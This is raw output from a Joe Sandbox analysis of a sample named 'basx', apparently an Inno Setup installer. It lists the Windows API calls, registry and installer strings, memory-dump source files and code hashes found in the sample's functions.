                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$HandleModuleVersion$CurrentErrorInfoLibraryLoadModeNativeProcessSystem
                                                                                          • String ID: SHGetKnownFolderPath$shell32.dll
                                                                                          • API String ID: 3869789854-2936008475
                                                                                          • Opcode ID: 24bfbd8baf235fcbd7404033d7799f009542697b8823181e059981251f96c700
                                                                                          • Instruction ID: 8066e8dcbdf9c94243579ba2519058cd674f052446347c20ec70bbddfecd8a90
                                                                                          • Opcode Fuzzy Hash: 24bfbd8baf235fcbd7404033d7799f009542697b8823181e059981251f96c700
                                                                                          • Instruction Fuzzy Hash: 1021F1B06103116AC700BFBE599611B3BA5EB9570C380893FF904DB391D77E68149B6E
                                                                                          APIs
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,0047C92C,00000000,0047C942), ref: 0047C63A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Close
                                                                                          • String ID: RegisteredOrganization$RegisteredOwner
                                                                                          • API String ID: 3535843008-1113070880
                                                                                          • Opcode ID: fe32ea5757c181cea0fad4739291adb7fe5cb56e5df920aee23c3361bee12acf
                                                                                          • Instruction ID: 97ba07fcc0924f8d698b93a4c32f8f7a3ceb81663af41ec066a5e596666b9838
                                                                                          • Opcode Fuzzy Hash: fe32ea5757c181cea0fad4739291adb7fe5cb56e5df920aee23c3361bee12acf
                                                                                          • Instruction Fuzzy Hash: F5F09060700204ABEB00D6A8ACD2BAA3769D750304F60907FA1058F382C679EE019B5C
                                                                                          APIs
                                                                                          • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00475483), ref: 00475271
                                                                                          • CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000001,00000080,00000000,00000000,?,00475483), ref: 00475288
                                                                                            • Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,004983A5,00000000), ref: 0045349F
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseCreateErrorFileHandleLast
                                                                                          • String ID: CreateFile
                                                                                          • API String ID: 2528220319-823142352
                                                                                          • Opcode ID: 2c7b4fae504844472e6a07c4f0bcfda842c0d735d71c8af9ff6e211e096a353b
                                                                                          • Instruction ID: b0794b45f16520e4762b2717541816a935241bfc2e667b83be7f23d95be3de9d
                                                                                          • Opcode Fuzzy Hash: 2c7b4fae504844472e6a07c4f0bcfda842c0d735d71c8af9ff6e211e096a353b
                                                                                          • Instruction Fuzzy Hash: 99E06D702403447FEA10FA69CCC6F4A77989B04728F10C152BA48AF3E3C5B9FC808A58
                                                                                          APIs
                                                                                          • RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Open
                                                                                          • String ID: System\CurrentControlSet\Control\Windows$;H
                                                                                          • API String ID: 71445658-2565060666
                                                                                          • Opcode ID: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
                                                                                          • Instruction ID: 60e43675bb36a9eef4a15598a1848ca3f705ecc445ee8c9fe52fc6b05f1352bb
                                                                                          • Opcode Fuzzy Hash: a11f376e1d034aeb0d9ae53f60934921bcd728bb93d306f1768079d63b1ffdfe
                                                                                          • Instruction Fuzzy Hash: 29D09E72950128BB9B009A89DC41DFB775DDB15760F45441BF9049B141C5B4AC5197E4
                                                                                          APIs
                                                                                            • Part of subcall function 00457044: CoInitialize.OLE32(00000000), ref: 0045704A
                                                                                            • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                            • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                          • GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 004570D8
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressErrorInitializeLibraryLoadModeProc
                                                                                          • String ID: SHCreateItemFromParsingName$shell32.dll
                                                                                          • API String ID: 2906209438-2320870614
                                                                                          • Opcode ID: 9d30f7af3022304e39d9007edb753d7b8512de14ad0f58a0e87bb64db50414c6
                                                                                          • Instruction ID: 7fba65882f7194314ab185764ebfac318737a269d5660949bdaf7135ffc1064c
                                                                                          • Opcode Fuzzy Hash: 9d30f7af3022304e39d9007edb753d7b8512de14ad0f58a0e87bb64db50414c6
                                                                                          • Instruction Fuzzy Hash: ECC08CA074860093CB40B3FA344320E1841AB8071FB10C07F7A04A66C7DE3C88088B2E
                                                                                          APIs
                                                                                            • Part of subcall function 0042E394: SetErrorMode.KERNEL32(00008000), ref: 0042E39E
                                                                                            • Part of subcall function 0042E394: LoadLibraryA.KERNEL32(00000000,00000000,0042E3E8,?,00000000,0042E406,?,00008000), ref: 0042E3CD
                                                                                          • GetProcAddress.KERNEL32(00000000,SHPathPrepareForWriteA), ref: 0046CE05
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressErrorLibraryLoadModeProc
                                                                                          • String ID: SHPathPrepareForWriteA$shell32.dll
                                                                                          • API String ID: 2492108670-2683653824
                                                                                          • Opcode ID: 4f35c33f472421c4948a2ce6cac4f72f28d005e98571f32e7a9733a845a9f857
                                                                                          • Instruction ID: c0603f0a452a360a01ce82207306765f02b8a986224f2e77b24b084cc810d505
                                                                                          • Opcode Fuzzy Hash: 4f35c33f472421c4948a2ce6cac4f72f28d005e98571f32e7a9733a845a9f857
                                                                                          • Instruction Fuzzy Hash: 44B092A060074086DB40B7A298D262B28269740319B20843BB0CC9BA95EB3E88240B9F
                                                                                          APIs
                                                                                          • LoadLibraryExA.KERNEL32(00000000,00000000,00000008,?,?,00000000,00448709), ref: 0044864C
                                                                                          • GetProcAddress.KERNEL32(00000000,00000000), ref: 004486CD
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressLibraryLoadProc
                                                                                          • String ID:
                                                                                          • API String ID: 2574300362-0
                                                                                          • Opcode ID: 36521cdfc13aba0ae9c44214f12a2e14552a0dd36018004eb1372d311063bccb
                                                                                          • Instruction ID: 2eaa58f6359003fef9dee836e3db1fa56ae38c906bc4f4c4d93ca6671f7cd4fb
                                                                                          • Opcode Fuzzy Hash: 36521cdfc13aba0ae9c44214f12a2e14552a0dd36018004eb1372d311063bccb
                                                                                          • Instruction Fuzzy Hash: 14515470E00105AFDB40EF95C491AAEBBF9EB45319F11817FE414BB391DA389E05CB99
                                                                                          APIs
                                                                                          • GetSystemMenu.USER32(00000000,00000000,00000000,00481DB4), ref: 00481D4C
                                                                                          • AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00481D5D
                                                                                          • AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 00481D75
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Menu$Append$System
                                                                                          • String ID:
                                                                                          • API String ID: 1489644407-0
                                                                                          • Opcode ID: 672145a2bbc7660003845448dd8fd579fca208d3c81716cd1fbd69936c4767aa
                                                                                          • Instruction ID: 44f8b16540ed1c6eecf525242fd074403e334eda66194076213ef08da8c10300
                                                                                          • Opcode Fuzzy Hash: 672145a2bbc7660003845448dd8fd579fca208d3c81716cd1fbd69936c4767aa
                                                                                          • Instruction Fuzzy Hash: 3431D4307043441AD721FB769C82BAE3A989F15318F54483FF901AB2E3CA7CAD09879D
                                                                                          APIs
                                                                                          • PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00424412
                                                                                          • TranslateMessage.USER32(?), ref: 0042448F
                                                                                          • DispatchMessageA.USER32(?), ref: 00424499
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Message$DispatchPeekTranslate
                                                                                          • String ID:
                                                                                          • API String ID: 4217535847-0
                                                                                          • Opcode ID: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
                                                                                          • Instruction ID: 8eae6dca0d2455523dd27ca57e4683f6da326f6f2f90499d04ddbfd693f83f9d
                                                                                          • Opcode Fuzzy Hash: d4f7142ddfb2041a0388c754ad29f8297397d1c5d5a6fc901d04af05902ad934
                                                                                          • Instruction Fuzzy Hash: E3116D303043205AEB20FA24A941B9F73D4DFC5758F80481EFC99972C2D77D9D49879A
                                                                                          APIs
                                                                                          • SetPropA.USER32(00000000,00000000), ref: 0041666A
                                                                                          • SetPropA.USER32(00000000,00000000), ref: 0041667F
                                                                                          • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,00000000,00000000,?,00000000,00000000), ref: 004166A6
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Prop$Window
                                                                                          • String ID:
                                                                                          • API String ID: 3363284559-0
                                                                                          • Opcode ID: 953367bc10487f5f00132df45b9f4bdc07709d3a3f88142737615a1cc8063318
                                                                                          • Instruction ID: 6913c5f2d07602d921388148e43cadd8ab2d6729f30613f48e4cae6714e3bc13
                                                                                          • Opcode Fuzzy Hash: 953367bc10487f5f00132df45b9f4bdc07709d3a3f88142737615a1cc8063318
                                                                                          • Instruction Fuzzy Hash: ACF01271701210ABDB10AB599C85FA732DCAB09714F16057AB905EF286C778DC40C7A8
                                                                                          APIs
                                                                                          • IsWindowVisible.USER32(?), ref: 0041EE64
                                                                                          • IsWindowEnabled.USER32(?), ref: 0041EE6E
                                                                                          • EnableWindow.USER32(?,00000000), ref: 0041EE94
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Window$EnableEnabledVisible
                                                                                          • String ID:
                                                                                          • API String ID: 3234591441-0
                                                                                          • Opcode ID: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
                                                                                          • Instruction ID: 3b4cb379701a2ac24b7d0c87bf9454d2e26b3d0fb89a85d5a5a22e513a73856b
                                                                                          • Opcode Fuzzy Hash: 495d6a49dc4b54b7e424eeae3cce025a94256eba33976185de8149e812397146
                                                                                          • Instruction Fuzzy Hash: EAE06DB5100301AAE301AB2BDC81B5B7A9CAB54350F05843BA9089B292D63ADC408B7C
                                                                                          APIs
                                                                                          • SetActiveWindow.USER32(?), ref: 0046A02D
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ActiveWindow
                                                                                          • String ID: PrepareToInstall
                                                                                          • API String ID: 2558294473-1101760603
                                                                                          • Opcode ID: bd917288eaa5b05b1195b505efe9116c2b5c78d32a5283306b423edfa0bdd6d5
                                                                                          • Instruction ID: c614f106b7f0b4f176116dff63491c2ec041d81708a05a15fd0d1780f22877a3
                                                                                          • Opcode Fuzzy Hash: bd917288eaa5b05b1195b505efe9116c2b5c78d32a5283306b423edfa0bdd6d5
                                                                                          • Instruction Fuzzy Hash: 97A14934A00109DFCB00EF99D986EDEB7F5AF48304F5540B6E404AB362D738AE45CB9A
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: /:*?"<>|
                                                                                          • API String ID: 0-4078764451
                                                                                          • Opcode ID: e5c60157bcf2278da473a52dbfa3e40327efacf8e8b2ac4b78b74c9d89147c88
                                                                                          • Instruction ID: 6c3526c54916fe71946563460b5bd12015a165326d65a32731909bc5939f884d
                                                                                          • Opcode Fuzzy Hash: e5c60157bcf2278da473a52dbfa3e40327efacf8e8b2ac4b78b74c9d89147c88
                                                                                          • Instruction Fuzzy Hash: CF71C370A40215BADB10E766DCD2FEE7BA19F05308F148067F580BB292E779AD458B4E
                                                                                          APIs
                                                                                          • SetActiveWindow.USER32(?), ref: 00482676
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ActiveWindow
                                                                                          • String ID: InitializeWizard
                                                                                          • API String ID: 2558294473-2356795471
                                                                                          • Opcode ID: 3626624f3147e861467950174f06d96ecabfee41a1c9b8d7b2440425271d24be
                                                                                          • Instruction ID: 0fabbc08dbff6a0894d12042e1c617afa12541eacf44f0b659f2bb150b55c2ae
                                                                                          • Opcode Fuzzy Hash: 3626624f3147e861467950174f06d96ecabfee41a1c9b8d7b2440425271d24be
                                                                                          • Instruction Fuzzy Hash: 8311C130204200AFD700EB69EED6B1A37E4E764328F60057BE404D72A1EA796C41CB5E
                                                                                          APIs
                                                                                            • Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,;H,?,00000001,?,?,00483BE3,?,00000001,00000000), ref: 0042DE38
                                                                                          • RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,0047C740,00000000,0047C942), ref: 0047C539
                                                                                          Strings
                                                                                          • Software\Microsoft\Windows\CurrentVersion, xrefs: 0047C509
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CloseOpen
                                                                                          • String ID: Software\Microsoft\Windows\CurrentVersion
                                                                                          • API String ID: 47109696-1019749484
                                                                                          • Opcode ID: 058bbab7ea9ec86a0dd33160b35f36364f977485e0abef3b7f9f2bc760079b92
                                                                                          • Instruction ID: acdf9366f140fa0c09696ff4b806567a5b27613a006b44f2785fa8682630d216
                                                                                          • Opcode Fuzzy Hash: 058bbab7ea9ec86a0dd33160b35f36364f977485e0abef3b7f9f2bc760079b92
                                                                                          • Instruction Fuzzy Hash: 6CF0823170052477DA00A65E6C82B9FA79D8B84758F60403FF508DB242EABAEE0243EC
                                                                                          APIs
                                                                                          • RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,0047620E,?,0049C1E0,?,0046F15B,?,00000000,0046F6F6,?,_is1), ref: 0046EE67
                                                                                          Strings
                                                                                          • Inno Setup: Setup Version, xrefs: 0046EE65
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value
                                                                                          • String ID: Inno Setup: Setup Version
                                                                                          • API String ID: 3702945584-4166306022
                                                                                          • Opcode ID: 80676ca53bf8d59feef104d4bc7cb567c816a54b460bafb4a4ed583678a3f251
                                                                                          • Instruction ID: 37dbbd71146fd60ed96ba35b84ff74d599aeccd68d0f9eb37ee109455dfe34ad
                                                                                          • Opcode Fuzzy Hash: 80676ca53bf8d59feef104d4bc7cb567c816a54b460bafb4a4ed583678a3f251
                                                                                          • Instruction Fuzzy Hash: B1E06D753012043FE710AA2B9C85F5BBADCDF88365F10403AB908DB392D578DD0181A9
                                                                                          APIs
                                                                                          • RegSetValueExA.ADVAPI32(?,NoModify,00000000,00000004,00000000,00000004,00000001,?,0046F532,?,?,00000000,0046F6F6,?,_is1,?), ref: 0046EEC7
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Value
                                                                                          • String ID: NoModify
                                                                                          • API String ID: 3702945584-1699962838
                                                                                          • Opcode ID: f40bfeae81701b53243146576d0ffb0e6a468f93b3df03c8cd4f9f1e738a44cb
                                                                                          • Instruction ID: 84621f748531697c6bb4a8e0450a59e651a2caf9945441e4ffcb8bd5fa838dfd
                                                                                          • Opcode Fuzzy Hash: f40bfeae81701b53243146576d0ffb0e6a468f93b3df03c8cd4f9f1e738a44cb
                                                                                          • Instruction Fuzzy Hash: F6E04FB4640308BFEB04DB55CD4AF6B77ECDB48714F10405ABA049B281E674FE00C669
                                                                                          APIs
                                                                                          • GetACP.KERNEL32(?,?,00000001,00000000,0047E753,?,-0000001A,00480609,-00000010,?,00000004,0000001B,00000000,00480956,?,0045DB68), ref: 0047E4EA
                                                                                            • Part of subcall function 0042E31C: GetDC.USER32(00000000), ref: 0042E32B
